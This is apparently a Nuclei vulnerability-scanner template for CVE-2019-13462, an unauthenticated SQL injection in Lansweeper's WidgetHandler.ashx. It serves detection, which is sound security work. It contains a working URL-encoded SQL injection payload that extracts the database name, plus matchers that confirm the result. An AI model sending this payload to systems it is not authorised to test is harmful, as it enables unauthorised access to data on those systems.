id: CVE-2019-13462

info:
  name: Lansweeper through 7.1.115.4 unauthenticated SQL injection
  author: divya_mudgal
  severity: critical
  reference: https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
  description: Lansweeper web application through 7.1.115.4 allows unauthenticated SQL injection via the "row" and "column" GET parameter to the /WidgetHandler.ashx?MethodName=Sort&ID=1&column=INJECTION&row=INJECTION URI.
  tags: cve,cve2019,sqli,lansweeper

requests:
  - method: GET
    path:
      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "~lansweeperdb~"
        part: body

      - type: word
        words:
          - text/plain
        part: header

      - type: status
        status:
          - 500